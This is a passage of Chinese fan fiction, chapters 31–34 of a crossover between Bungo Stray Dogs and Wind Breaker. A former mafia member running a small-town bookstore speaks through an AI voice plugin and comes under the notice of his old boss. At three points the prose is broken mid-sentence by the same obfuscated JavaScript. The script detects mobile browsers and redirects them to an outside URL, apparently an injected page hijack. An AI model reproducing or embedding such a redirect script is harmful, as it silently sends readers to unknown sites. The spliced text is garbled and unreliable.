他不由得好奇起来,“你要联系的人是谁?”难道是欧洲部门的成员。 “是佐久间,佐久间弥津。” 已经过去了几年,钢琴家对这个名字实在只剩下相当模糊的记忆。这是……谁来着。 中原中也对身边的人形容起佐久间身上最明显的标志,“他嗓子受了伤,没办法正常说话,几年前因病辞职,辞职申请还是我批的。” 哦——是那个人。 听中原中也如此形容,钢琴家终于把这个名字和脑海中一众欧洲部门成员的长相对上号。 一边输入账号添加好友,他一边闲聊似的说,“那个人在欧洲那边不是很有名嘛,我听说过他的传闻。”他应该没认错人。 他在备注栏敲下几个字母,意在提醒对方自己是组织的人。发过去的好友添加申请一时半会儿不会被回复,没准要半夜,或者明天,消息才会被对方看到。二人便继续就着这个话题闲聊起来。 “刚才的那个人……我记得是姓‘水落’?” 中原中也点了点头,目光仍然放在电脑屏幕上,满心期待佐久间能尽快通过好友申请。 “水落望音。怎么,你有其他想法?” “不。”把散碎的短发别到耳后,被问及此刻心中所想,对欧洲部门没有多了解的人否认道,“只是对这个姓氏有所耳闻。他和那位执伞人很熟?” 超过公事公办的同事关系吗。 “他们两个的话……”他太久没回欧洲那边,以前的事在他脑子里乱成被猫咪抓过的毛线球,唯独能肯定的是,“关系不错,因为异能力可以互补。他们合作过几次,效果不错。” 但二人更适合分工合作,而不是像搭档一样呆在一起。一个在英国的暗部游走,另一个可能跑到了意大利武力谈判。 “他的伤情很严重?有先找医疗部的人看过吗。” 中原中也不好评价,“佐久间自己不觉得很严重。” 说到底,佐久间的伤,算是咎由自取。 中原中也自然舍不得看多年的下级受那么严重以至于必须住院治疗的伤。 但得知前因后果之后,他那时候忍不住被气笑了,想骂佐久间怎么能对陌生人心软成那样。可之后想想,他知道佐久间看着那对伪装成奴隶母女的自杀式袭击组合想到了什么。 “害他变成这样的人,自以为把昏迷的人丢在火场里就能干掉他。但她们的尸体之后也在火场里发现了。” 这倒是钢琴家从未听说过的密辛,是害怕遭到组织的报复所以自杀了?欧洲部门的具体事务从来传不到他耳朵里,他负责的是别的东西。 软件光标忽然亮了亮。 站在电脑前的二人齐齐凑近屏幕,不久前发出的好友申请此刻竟然这么快被通过了。 31.模仿别人的都市传说 阴雨绵绵的雨季被从日期上划走。这几个月里,城镇平平安安。 虽然不少本地帮派之间仍有摩擦,但那和风铃有什么关系。即使有,少年们自己会处理得很好。 人类最大的优势在于可塑性。人是会成长的,或慢或快,生命走到终结之时,人人都会明白的。和去年相比,少年们似乎有的长高了,这一两年仍然是生长期的尾声。 佐久间弥津近来最大的乐趣是用染崎给他安装的优化后的插件敲键盘给别人听,功能和他不太乐意用的心型挂坠殊途同归。 欣赏少年们从茫然不解到惊奇震撼的神态变化,着实有趣。 他编辑了快捷键。如果少年们问他最近有没有客人,苏枋问他药有没有忘了吃,结束一段时间的旅行,回到小城来的梅宫问他,自己不在的时候,城镇上没有发生意外吧,他会一直狂摁数字键1,回答一连串的“无”。 既然佐久间先生回答无,那他就会信真的没有。 梅宫一在书店呆了半个下午,对书店老板讲述了自己离开城镇的第一个目的地。 “我去了京都哦。” 没穿校服,褪去不少学生气的风铃总代表把伴手礼放在老板的桌上,同时对佐久间先生的新玩意表示惊喜,有AI语音插件帮忙发声,甚至能即时沟通。 “京都有些远” 用着佐久间先生声音的AI语音说。 “我之后还计划,从北海道开始,一边做短期工作,一边继续旅行,向南走。总有一天会靠这种方式回来。” “计划几年” “我的计划是未来的两年先从北海道去箱根附近。给自己多一些容错的时间,万一计划有变呢。” “有去和他们打过招呼吗” 梅宫一说,“我告诉了樱他们,我在你的店里哦。” 佐久间先生瞧了他一眼,似乎在批评他擅作主张,却也没反对。 “行吧” 书店老板在门外多此一举地挂上了“暂停营业”的牌子,把今日的书店留给阔别数月的少年们。 AI语音越听越上头,很滑稽,也好笑,但又确确实实给佐久间先生带来了便利。佐久间先生敲键盘的速度很快,轴体不明但声响很小的键盘在佐久间先生手里进化成了“发声道具”的一部分,哪怕在七嘴八舌的讨论中也不落下风。 “别吵了、别吵了、别吵了” 不仅发声迅速,还能灵活自如地调节音量,给老板电脑里安这种插件的人简直是解决问题的天才。 群聚而来的几名学生在老板堪称鬼畜的AI语音制止中停下你一言我一语的激烈讨论,看着彼此,不约而同地等待起店主的下文。 AI语音很快又发话了。 “别吵了。我带你们去吃烤肉” 在烤肉店里聊个够吧。 等少年们熟悉了老板天天敲键盘用ai说话,曾经的滚动弹幕功能便只有在外面相遇时才会用了。 这样的生活难道不快乐吗。 佐久间弥津承认他在这里的生活比以前工作的时候还欢乐。少年们几乎天天能带来听不完的笑料,即使用起AI语音插件的他似乎也变成了少年们眼里的笑料,每天去他的店里只为了听他用AI语音功能回复一句“今天也没客人”。 这几天秋意怡人,恰到好处。过了这个度就会像初冬一样冷,但低于这个度就如同夏季那般炎热。像这样正好。 优发消息说,他在来这里的路上。每年都不定时回国的人总是劝不住,一定要来找他,风雨无阻。 然而几乎在同一时间,他接到了水落的短消息。 【今天,中原干部又问到了你的事。】 已经好几次了,他敬重的前上司不免从水落和优他们身上联想到他。这也是没办法的事,谁让他以前总和优一起出现在中也先生眼前。 再瞒下去会出事的,会有故意隐瞒的嫌疑。 你有把我的联系方式给中也先生吗,他问。 【嗯。我对他说,你去年联系过我,你在用药维持。我暗示他,可以找你的聊天软件账号。】 也就是说,可能过不了多久,他就会和几年没见的前上司重新建立宝贵的联系渠道了。 这样的结局也能接受。 【你记得横滨部门里一个代号叫钢琴家的人吗】 ……“钢琴家”? 如果能有别的形容就更好了。这样的代号,他的脑海里只能出现一架钢琴。 【是个用钢丝杀人的人】 ……这么一说,他是有印象。是中也先生在国内部门较为亲近的下属,他呆在国内的那段日子里,见过几次。代号“钢琴家”的人不是本部里最擅长战斗的人,因为其擅长的另有他物。 也就和他的职责不相干,他们在工作内容上几乎没交集。 所以,他和那人的交情堪称于无。 那人的年纪比他大,在组织工作的经验也相应地比他和水落要多。不出意外的话,即使被任命为准干部,也没人有异议。 【我从中原干部的办公室离开,他刚好要进去】 中也先生还真是忙。 你有见到现首领吗? 【见了一次,公务。】 水落言简意赅地回答他。 被优知道水落把他的联系方式交代给了中也先生,估计会不留情面地骂水落把他架在火上烤。 ——如果中也先生会联系他,并且问他什么时候会回去的话。言尽于此,他接下来会郑重地考虑何时去做手术的。任何一种手术都有风险,哪怕是近视手术都会有,差别无非是大小。声带填充手术不难,但风险也是有的,只不过没多大必要考虑。 很快,他的账号便收到了一条意料之内的好友申请。但他盯着对方的头像和申请备注留言,却觉得这可能不是中也先生本人。 中也先生不会在社交账号上用简笔画当头像吧。而且图案很抽象,他甚至看不出这画的是何物。 紧盯着因放大而失真的图像,他为自己的发现而震惊,这画的不会是台球吧。那哆哆嗦嗦的线条是在写数字5……吗? 恐怕是用鼠标画的,不然线条怎么可能抖成这样。但弹钢琴的手也会抖?他已经确信这是“钢琴家”在代替中也先生联络他,申请备注里的字母是组织内部的联络代号,意思是“执行planA”。 佐久间弥津的判断有一半是正确的。 钢琴家的账号头像的确是用鼠标画的。但不是他亲自画的,而是公关官用他的电脑系统自带的绘画软件画的。还和他打赌,输了的人不仅要用这个头像一年,还要包他们一年的旧世界台球厅的费用。 他们赌的是公关官下一部电影的票房高低。为了防止别人从中作梗,他规定了游戏条件,公关官不能威逼利诱组织里的成员帮他。 哪一种方式都不可以。 “我哪会干那样的事?你对我没有信心,真让我伤心。我对我自己可是相当自信。” 听钢琴家讲述完自己设定如此抽象的简笔画当账户头像的始末,中原中也把视线默默转到电脑屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574346|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。怎么一个两个都在干这种让人无言以对的事,组织里的人还能正常点吗。 太宰可能是对的,整个组织里挑不出第二个可以当干部的正常人……对什么对,太宰是错的!怎么可能挑不出第二个。 他很忙的,特别是搭上那么一个不懂得体恤下属的首领。 “你这个头像还要用多久?” “还得半年,他的电影年初在影院上线。” ……真是久啊。 一切都很顺利,包括被通过的添加好友申请。 但到了可以交流的时刻,中原中也竟然想不到第一句话该是什么。该问佐久间现在住在什么地方?还是问他,为什么没做手术。 “首先,得让对方知道我们是谁吧。” 钢琴家在一旁出主意。他备注的信息只能证明他们是组织的人。 但像陌生人一样自我介绍很傻啊。 中原中也想了想,第一条消息就发—— 【我借了别人的聊天账号。水落说你一直在外地靠药物治病,还戒了酒】 对面没反应。 不会吧,难道这还看不出他的身份? 可紧接着对方发来了视频通话申请,倒是让对此毫无预料的二人心下不解。 佐久间的嗓子不是还没好吗?这反应有点不像佐久间本人。 “要同意吗?” 中原中也将信将疑地点头,允许钢琴家点确认键。 弹出的影像窗口清楚地显示了对面账号的持有人。银发,红眼,是佐久间无疑。 “难道你的嗓子治好了吗?”怎么和水落的消息说的不一样。但想起水落说的是“一年前”联系过,中原中也立刻意识到消息一定有滞后。 青年不立刻回答,视线向下移,错开摄像机口的位置。声音在外放,他们听到了一阵轻微但清脆的按键声。 所有人都会为佐久间弥津的AI语音插件感到震撼,包括港口黑手党的最高干部和高层成员。 这不是稀奇的技术,但是用在这里真的让人意想不到。电子音味道的声音带着独特的听感,让听者无不在讶异的同时感到荒谬好笑。 “电脑里安装了AI语音插件,很好用” “好久不见,中也先生” “我不定时去医院复查拿药,住在附近的城镇里” 这会儿轮到中原中也张口结舌。能联系到佐久间是意外之喜。他在心里庆幸,幸好自己今天突发奇想对水落问了佐久间的情况。 “我可以入镜吗?不然像在偷听,这样是不是不太好。” 一道没有在佐久间弥津脑海中留下太深印象的声音从影像外传来。他心知这必然是水落刚刚提到的男人。 “可以。请问你是哪位” 他装模作样地表示对总部的事情不知情。 下一秒出现在影像里的青年朝佐久间弥津点点头,笑道,“现在,你能认出我吗?我把我的账号借给了原本打算现场注册一个的家伙。” 中原中也问起前下属的病情,佐久间回答他,不会恶化。至于生活情况…… “附近有友好的邻居,很有个性的学生。我的初步计划是停留在这里,看着那些学生从学校毕业” “什么学生,初中生?” “高中生。我熟悉的几名学生,已经在读高中二年级了” “也就是说,即使你有回来工作的计划,也排在两年以后?” 电子音稍一停顿。 “是的” “这是,初步计划” 32.被首领发现的都市传说 “佐久间先生,有个人给你打来了视频通话。” 身上裹了件冬日里十分保暖的大衣,里面还是风铃的校服,苏枋隼飞扭头望着走进小隔间拿热水壶的佐久间先生,问道,“需要我帮你接听吗?” 青年对他随意地勾了勾手,指尖在空气里点了点。意思是,可以。 佐久间弥津自以为,会这么打来电话的只有前上司以及被前上司借号的号主。 钢琴家是个健谈的人,和他几年前对此人的印象不完全相同。似乎是中也先生借号的事打开了他的话匣子,曾经作为“陌生同事”的他们有了工作以外的交集。 不管有没有被中也先生使用,钢琴家这些天断断续续和他聊过一点。 有时候是聊他的病情,有时候是聊中也先生的事,但绝不涉及工作内容,也不以文字的形式沟通。他们的聊天页面上只有十几条视频通话申请,其中夹杂着几条单独的语音通话申请。 以及对应的通话结束提醒。 自那之后,连优和水落他们也学会用这种方式联系他,弥补了他没办法正常接打电话的不足。这次也会是他们其中一个,会说什么呢,问他新年怎么度过?他当然还是一个人过。 苏枋隼飞按青年所示意的那般做了,平生第一次绕到书店老板的桌子后面,操作起换新过的鼠标。 与之相反的纯白书桌上摆着一盒刚拆开的药。包装盒上是外语,他不太会的那一种,他翻来覆去,只能勉勉强强记住其中一个冗长的单词。 接通视频通话一点都不难,只需要点一下就好了…… 他一下子愣在原地,怔怔地看着视频影像里显示的青年。 面色微微苍白的青年,像是多日不见阳光。更让人惊奇的是,青年几乎半张脸都用绷带遮住,脸颊上看不出太多血色,唯一露在外面的眼睛里也都是深不见底的压抑与绝望。 很奇怪,只露出上半身黑西装和肩头搭着的围巾的青年,脸上明明带着他看不懂的笑意,但他却从那只眼睛里清楚地感受到了阴暗如墨的死意。 让人……畏惧。 他心头一颤。 “诶,真奇怪,你是谁。我看中也的备注可是‘佐久间’呢,难道不是佐久间弥津吗。” 强撑着脸上的微笑,他做出一副游刃有余的姿态,对影像中的青年眨了眨眼表示无辜,又为了做戏做圈套,用自己勉强算会的外语拖延道,“不好意思,先生,我代为接通了。” 无疑,这个浑身上下散发着危险气息的男人,还有话语中提到的“中也”,都是佐久间先生在旧日组织里认识的人。 也就是说,这个男人也是黑手党成员。他立刻明白自己最好的选择是蒙混过关,不要回答这个男人的任何问题。 影像中的青年愣了一下,神色间多了更多兴趣。 “是外国人?佐久间弥津竟然出国治病了吗。” 苏枋隼飞顶着让他无言以对的压力继续说道,“我需要录音吗?或者等人回来再说呢。” 影像中的苏枋隼飞若无其事地抬头,假装自己在寻找别人的身影。余光发现自己几乎离开摄像头的拍摄范围之后,苏枋隼飞火速冲进小隔间。 还在等水开的人不解地扭头望过来。书店老板方才的确听到了少年在用一种他明白是何种但他听不懂的语言说了两句话。 反手关上门的少年脸上是少见的焦急和严肃。即使把门牢牢关好,仍然压低声音,快步走近他,把他拦在床边,一把攥住他正要拿热水壶的手。 “听我说,佐久间先生。” 有个半张脸都被绷带缠住的怪人打来了视频电话。那是个非常危险的男人,苏枋隼飞无比相信自己的直觉。而且听语气不是佐久间先生经常联系的朋友。 难道那些朋友出事了。 少年紧紧抓住书店老板的手,把人扯向自己,不想让青年离开自己的视野,焦急之下,暴露了更多无措。 感受到其内心罕见的慌乱情绪,佐久间弥津把语气急切,神情也格外认真的少年拥进怀里,反过来安慰对这种情况完全陌生的少年,耐心地等少年冷静下来。 “……别担心。” 服药一年多,佐久间弥津的嗓子发声能力相比过去实在是大有长进,再也不会说两句话就累得呼吸困难。不过,也只能说两句话。 苏枋的形容很准确,他的大脑即使被苏枋方才和平日截然不同的慌张所震惊,也意识到现在发生了非同一般的变故。 他知道对面“误”打来视频通话的是谁,是太宰治。 太宰治不知如何发现了中也先生用来联系他的账号——而那本该是钢琴家的账号。 他没办法说更多话来安慰以惊人的敏锐程度察觉对方危险性的少年。轻轻摸了摸少年脑后的头发,让逐渐冷静下来的少年和他保持最初的距离。即使刚才的姿势不带半分情色,那也不够正常。 拿出手机,他打了一行字。 【你回家吧,我会处理的】 ……那个人是谁。 胳膊抵着门,少年依旧倔强地不愿放他离开隔间和那人一对一交流,他保证那个男人听不懂刚才逢场作戏的内容。 是相当聪明的做法,佐久间弥津在心里夸道。他拗不过少年的脾气,只能再放些消息出去。 【是组织里的人】 太宰治已经不是“他”的首领了。因为从哪个角度看,他都已经离开了组织。 也许是从中也先生的电脑上意外发现中也先生最近和他联系过,才碰运气似的联系他,想知道他是谁。 “你这次没说‘他’是你的前同事,佐久间先生……对其他人,你都是这么介绍的。” 少年的敏锐程度令人为之侧目。 ……不想离开就算了。反正,已经改变不了什么了。他和苏枋不能拖太久,鬼知道太宰治会何时起疑。看少年一副不放心他的样子,他抓住少年的手腕,牵着他离开隔间,右手比了个噤声的手势。 苏枋隼飞目不转睛地盯着面前的青年,那双玫红色的眼睛里露出几分他没见过的深沉。 他站在书店中央,没有靠得太近,以免妨碍坐回椅子上的佐久间先生。 “三年没见了,佐久间君,你在国外吗?刚才的少年是谁呢,你的朋友?” 外放的声音响彻寂静的书店。 “还在国内。刚才的人是附近的学生” “原来如此,你是用这种方式‘发出声音’的。这三年里,没有抽时间去做手术吗。” 青年有条不紊地回答对方提出的问题。 “医生说吃药可以维持现状,做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582544|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手术的优先级不算高” 对面的男人笑着,“你还是那么有趣。有想过回来吗?” 几乎所有的“前同事”都会问这个问题。佐久间弥津已经回答过三次以上。 “我想过两年再决定” “为什么是过两年呢。” “认识的学生后年才能从学校毕业” 佐久间先生对答如流。苏枋隼飞听在耳朵里,心头有所触动。佐久间先生在等他和樱他们从学校毕业? “你那么关心一群学生?” “嗯。我答应了别人,要照看他们” 因为答应了别人?答应了……梅宫哥吗? “只是因为答应了别人?看来你没从过去的失误中吸取多少教训。” 他看不到的男人问出了他心中所想的问题,但“过往的失误”是指什么。他盯着佐久间先生的喉咙,想道,是指嗓子受伤的事? 佐久间先生不急不躁,没有急于反驳对面的男人。 “他们值得我去做。曾经的教训,我吸取了,但这次不一样” 无论那个男人聊起怎样的话题,佐久间先生总是冷静地予以回应,AI电子音听不出半点犹豫和畏惧,倒也算误打误撞。 通话已到尾声,一道让苏枋隼飞十分陌生的暴怒男声以让人浑身一震的穿透力击破几欲凝滞的空气。 “混蛋!你在——” 男人的怒吼戛然而止,视频通话被挂断了。 和他同处一室的青年松了口气,合眼无声地靠向椅背,疏解精神紧绷的疲劳。 而他的好奇心也已然攀到顶峰。太多问题汇聚在他的脑海,但他如今可做的唯有试探着握上佐久间先生搭在桌边的手,就像不久前佐久间先生对他所做的那样。 那只时常被皮质手套包裹的手指尖冰凉。这让他忽然想起,在通话被接通前,佐久间先生本来要去小隔间拿烧水的热水壶。 【你是一个人住吗】 坐在椅子上闭目思考良久,佐久间先生突然问他。 “嗯……现在是。” 【能接受搬来和我住吗】 【暂时住一段时间。不方便的话,就在发生不同寻常的事之后立即联系我】 不要犹豫,犹豫就会带来杀身之祸。 佐久间弥津心里做好了最坏的打算。太宰治始终在试探。可他有什么好试探的,隔着屏幕,他揣摩不出对方的真实想法。当真是偶然从中也先生的电脑上发现了他的联系账号,还是心中另有打算。 糟糕的是,苏枋看到了太宰治的真实容貌,穿着的还是校服。从校服为起点查到这里,只是时间问题。更何况…… 他仔细看了看身边的少年,苏枋的长相很容易被记住。 对于黑手党组织来说,能绝对保守秘密的只有死去的人。 “……好啊。今天就搬吗?”少年对他笑了笑,又走近他半步,扭头看了一眼屏幕上表示视频通话结束的弹窗,“天气预报上说明天可能会下雪。” 近得足以让他侧头就能看到自己印在少年眼中的模样。 他点了点头,“今天。” 少年答应得干脆,也不问原因。 这样也好。向苏枋解释他有可能遭受的危险,这实在是比让他现在就回横滨还要困难的事。 33.闭店中的都市传说 * 冲动的人最容易犯错。 中原中也放下拳头,收敛起自己的脾气,回到电脑面前,把揉着脑袋歪倒在沙发上的人当空气。 “你疯了吗?”幸好他回来得快,还没来得及点确认注销,“这是别人的账号。账号上那么多有用的数据,你的脑子没装在脑袋里的话,需不需要我去给你找回来。” 他怎么骂都觉得不解气。趁他不在的时候进他办公室就算了,电脑都顺走了?还偷看聊天记录,知不知道这是别人的账号! 港口黑手党的年轻首领没有知错的意思——他又能怎么认错呢——反而有点委屈,“那个少年看到了我的长相。” 中原中也讥讽地冷哼一声。 这不是活该吗,谁让你乱开视频通话。 “那你想怎么做。” 黑手党首领轻描淡写地决定了那名少年的结局。 “就……让敦君去把他杀掉吧。” 中原中也在忍耐着什么。 最高干部皱了皱眉,最后妥协道,“……随便你。” “你不能悄悄给佐久间君走漏消息哦——” 最高干部甩上门,在众目睽睽之下提着电脑包,脸色冰冷,一路无人敢搭话。 首领和他们的最高干部每隔一段时间就会大打出手……这当然是夸张的形容。虽然首领不常出现,但中原干部时常脸色难看地进首领办公室。 之后离开的背影虽然依旧孤独但莫名看出消了气的味道。 而那位把绷带常年备在身边,谁也不知道身上是不是添了新的伤口。 今天也是如此。 中原中也摆了一路冷脸,关好自己办公室的门,却再也忍不住狂笑的冲动。 哈哈哈哈哈哈。 还真敢想。 那好啊,就让佐久间给他们首领寄予厚望的中岛敦上一课吧。 在那小子手里留不住人,佐久间以后就别回来了。 * 抱着从冰箱收拾好的一箱饮料,苏枋隼飞从隔间里探出头来,望着正在收拾电脑设备的佐久间先生,问道,“冰箱里的黑咖啡需要一并带走吗?” 在他印象里,佐久间先生一般只会在上午喝这种东西。 套了一件灰色毛呢大衣的青年想了想,比了个“二”的手势,合上笔记本电脑,连同充电线鼠标等等一道塞进手提包。检查过电闸和插口,书店老板用实际行动宣布书店闭店,至少一周,门上重新挂好了暂停营业的牌子。 苏枋隼飞跟着青年离开,忍不住回头看了一眼。 怎会发生这样的意外呢。谁能料到半个小时前还在正常营业的书店,会因为一通视频通话而要闭店。 他猜测起那人的身份,但还没等他想出个所以然,走在他前面的青年突然停下脚步,回头看着他。 难道佐久间先生也会对这种事感到紧张吗…… 举起的手机屏幕上显示了一行字。 【晚上要去吃烤肉吗】 果然,他就知道佐久间先生还是同他印象中一般,淡淡的冷幽默用在这时候恰如其分。即使会在京成街偶遇工作中的中村干路和砚秀平,他也点头说,“好啊。” 偶遇认识人也没关系。不过,佐久间先生看样子不太愿意把那人的事对他展开“讲讲”,就连邀请他搬家的原因也不解释清楚。当然,他不会问的。 万一他问出口,而佐久间先生在深思之下重又发现用不着他搬家去同一个屋檐下住呢。 佐久间先生的家正如其他绝大多数住在城镇上普通居民的家一样,没有多奢华,但胜在有“家”的感觉。谁能从这一处住宅看出正在给他找钥匙的青年会是前黑手党成员呢。买下这套房子最早也在两年前,钥匙的外形是经典款,但是很新,拿在手里是让人安心的感觉。 “那些是给你的” 一道熟悉的AI电子音从佐久间先生的手机挂坠里传了出来。 给他的……是说他抱着的这一箱饮料? 佐久间弥津点点头。他把染崎为他制作的吊坠项链拆掉,只留下外形容易被多想的心型吊坠部分,拴了挂坠绳,吊在手机壳的开孔位置,做成了便携款发声器。他仍然对吊坠的外形有意见。 少年问他,自己要住多久。 他给不出答案,但会很快。因为他相信“前公司”的效率。 多亏了优今年开始口无遮拦地和他说起组织里的“八卦”。太宰治,就连名字都让很多成员讳莫如深,更别说组织以外,光照不到的地方,多得是犯罪集团想要查到他的本事。 “听本部的人说,现首领去年有段时间频繁遭遇袭击,”和他一起吃晚餐的优讲起自己也一知半解的“故事”,“中原干部指派人手去保护他,他竟然要求中原干部亲自去。” 【你在本部怎么只听了一耳朵八卦】 “有那家伙在,哪里用得着我报告情况。”时刻不忘损一口水落望音,镜优哼了一声,接着说,“后来,听说过了一段时间,中原干部实在分身乏术,把首领凶了一顿。他们这么讨论,我只听了个大概。” 佐久间弥津也不了解太宰治。虽然那不是体术差不差的问题,但袭击……是怎么样的袭击。 【你说过太宰治捡了个有异能力的孤儿,没有培养起来吗】 哎呀。镜优的脸色一言难尽。 “我见过那个小子。说不上来,他真的很怪。总之……”光顾着交谈,忘了看火候,镜优立马把烤出焦黑痕迹的牛肉用新的牛肉替换掉,“总之,他离掌握那支游击部队的水平还远。” ……游击部队? 看到弥津大人脸上的疑惑,镜优解释道,“首领有意让中岛敦领导直属他的那支游击部队。” 【你觉得谁合适】 在镜优张嘴回答前,佐久间弥津又补充道,【从目前的成员里看】 吃光碗碟里色泽诱人的烤肉,又塞了半片青菜解腻,镜优在填饱肚子和思考问题之间两不误。 “好像……也没有合适的人。”镜优皱着眉头说,“个人实力要很强才行,国内部门有很强的杀手,但领导能力想想也很差劲。欧洲部门倒是有一个现成的,调回国内就能用。” 欧洲部门?是谁。 “永井,好像是个叫永井荷风的。你没见过,他两年前开始国内国外两边跑出差,有段时间代替水落望音指挥过他的队员出任务。” 其实说起来,首领直属的职位是个很麻烦的差事。 佐久间弥津偏头看了看走到自己面前的少年。应该不需要他教苏枋使用家用电器。逃避冬天的方式是现代科技给予人类的回报。空调,小型取暖器,和寒冷作斗争的方式花样繁多,只需要一点现代社会的常识。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586752|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他在欧洲部门带过新人。但是极少的时候。因为他没有完整的大片时间教导新人,新人很快会从他身边调走。 苏枋在房子各个房间走来走去,佐久间弥津便趁这段时间,再次登上个人账号,发现不久前和他一同造成这番意外的属于钢琴家的账户显示离线。 太宰治其人,本性如何,他不知道。他最明智的做法,是在这一段时间里放弃和组织里的朋友们联络,包括中也先生。显示下线的账号直到三天后才再次亮起“在线”标志。没有给他发消息,但一天之内换了三个头像。 书店闭店的日子和冬天一样有点难熬。 书本好似熙熙攘攘的行人,拥挤又热闹的排列在书架上,在无声的喧闹中凝固昼与夜。 闭店来得匆忙,从书店门口路过的橘琴叶对闭店的原因感到好奇。 这不是很难得吗?那位佐久间先生不在店里,也没有帮他看店的人。 以往,总会有替他看店的人。有时候是年轻的男女,有一天甚至是外国人,店主的交友范围让人难以轻易下结论。也可能只是去了医院复查,她知道那位青年会去看医生。 书店闭店的事小范围地传播着。经常来商店街的少年们很快也看到了书店店门上挂着的暂停营业标识。说不出是担心还是发愁,习惯去书店串门的少年们颇为在意。 “书店关门?嗯,这件事我知道哦。” 苏枋隼飞这几天过得极其愉快,特别是在戏耍好友的时候。 问他怎么最近搬家了,上下学离开的路线不一样。 “因为,佐久间先生是一名以艺名出名的画家,而我不小心听到了拍卖行的秘密,有被灭口的可能。为了保证我不会死在拍卖行派来的杀手手中,我最近住在佐久间先生家里。”苏枋隼飞笑眯眯地回答。 金发少年把拿出来的笔记本放回衣服口袋里,一脸菜色。 嘴角抽了抽,樱遥转身就走,“你编故事的水平真有一点差……要不要问老板借本小说看。” 只有最后一句是真的吧。 “不是陷入什么麻烦之中吗?” “不是哦,”走在樱遥身边的苏枋隼飞矢口否认,“你也知道,佐久间先生不是会被‘麻烦’束手束脚的人。”佐久间先生的实力,他们不是都见识过吗。既然如此,何必怀疑。 虽然话是这么说,但老板把店都关门了,他们总是会好奇原因的。能让不把棪堂的威胁放在眼里的人闭店,原因一定很奇妙。 “所以啊,就是因为拍卖行……” “够了!”樱遥捂着耳朵冲出校门。别再“拍卖行”了!他信了还不行吗? 苏枋隼飞落在后面,一边笑,一边继续用文字游戏把榆井绕到智力迷宫的死路。 少年们打闹着走出校门,继续履行几乎是风铃高中“校规”的巡逻职责。 一辆外地牌照的车停在风铃高中不远处,车内的人将被落日余晖染成灰橙色的校园建筑收入眼底。 “……已经到了吗。” 开口说话的人声音低哑,却有种挡不住的少年感。 司机对比手中的图片,和马路对面的建筑,抬头看向车内后视镜,后视镜里映出的脸被黑风衣衣领遮住大半,他确定道,“是的,是这里。” “那……那间书店呢。” “在附近的商店街里。” 34.被怀疑过下落的都市传说 诶,老板怎么关门了? 兔耳山丁子遗憾地看着店门上暂停营业的标志牌,“我可是带了富士山的纪念品回来的……” 会闭店到哪天,老板没留信息。他凑近了看,店里的陈设摆放得都很整齐,书也摆得满满当当,不像彻底结束营业,兴许只是几天不开业罢了。 他保持看向店里的姿态,暗地里借着玻璃上映出的人影,观察起站在对面商店门口的家伙。 是外地人吧。留着一头杂乱的银白短发,领口拉得很高,快要挡住下半张脸,微微抬头望着书店的招牌。老板说,那是意大利语里的“河流”的意思,用来当书店名字还蛮有氛围感的。 怎么,也是来找老板的?但他越看越觉得更像仇人上门哦。 他像电线杆一样站在店门外,观察了一阵,察觉这个外地人好像碍于他在场,不愿意真正靠近店门……仿佛在等他走开。越来越可疑,他在心里偷笑,干脆霸占了店门外的位置,抱着纸袋玩起手机。他打算问风铃的人拿老板的联系方式。 好奇怪,他居然这么久都没有保存老板的手机号。 但今天真幸运!他找的第一个帮手就把老板的手机号码发给他了! 【你要联系佐久间先生吗】 是啊是啊,阿梅,我在老板店门口哦,但他挂了暂停营业的牌子,我带了一份伴手礼给他,亲手买的! 【诶,我还不知道佐久间先生这几天闭店,我刚回来】 梅宫一“刚回来”的意思是,他刚提着行李箱出车站。 啊,我也是!今天刚到!天气太冷的日子,就只能呆在家里,没办法四处跑了,真可惜。 * 为了执行“不引起无用冲突”的附加命令,中岛敦决定观察一段时间后再做决定。但挡在店门口的人兴奋地按着手机,双脚始终一动不动,不把店门的位置让出来。 太宰先生命令他在十二个小时内解决照片上的人,路上的耗时不算在内。 严格来说,这不是一张照片,而是一张十分清晰的电脑屏幕截图。截图中的少年笑容礼貌,右眼戴着眼罩,上身在屏幕中穿着类似学校校服的制服。 “杀掉他?” ……为了这么一个看起来还是学生的家伙,派他去很远的城市出差? “嗯,杀掉他。” 不需要给出理由,他会去做的。 “还有……” 首领的话把正要即刻离开执行任务的他拦住。 还有什么吩咐? “不要引起无用的冲突,那比任务失败更让人耻笑。这个任务的难度系数相当高,遇到障碍的话,就放弃吧。” 不……他不明白,为什么要说“遇到障碍就放弃”这种话。以前任何一次任务里,首领从未这么和颜悦色地提及他任务失败的下场。 好似他正面对一项难度闻所未闻的任务,带回失败也是正常的。 任务说明只有薄薄的一张纸,说目标不是异能力者。他只要这句话就够了。其他的,是在说目标人物常来这家店。这家店有什么特别之处?一个规格不算大的书店,位于这样的小城很正常。 